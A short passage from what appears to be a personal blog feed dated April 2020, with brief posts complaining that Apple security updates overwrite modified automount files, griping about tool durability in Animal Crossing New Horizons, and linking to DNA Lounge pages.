[3] https://www.dnalounge.com/webcast/

[4] https://www.dnalounge.com/musicvideos/

╒═════╣▒ 04/17/2020 @14:51 ▒╟──────────┘

Hey Apple, it would be nice if your security updates would stop clobbering files that I modified. Yes indeed I do want to use automount in 2020.

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[1] https://archive.org/details/DNALOUNGE-2019-09-23

╒═════╣▒ 04/11/2020 @22:45 ▒╟──────────┘

«This is 100% my shit.»¹

╒═════╣▒ 04/11/2020 @09:57 ▒╟──────────┘

I don't hate the crafting aspect of «Animal Crossing New Horizons»¹ as much as I thought I would but seriously, can we please get rid of tool durability?

[1] https://animal-crossing.com/new-horizons/

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╒═════╣▒ 04/11/2020 @09:51 ▒╟──────────┘

Once again, for the second time.

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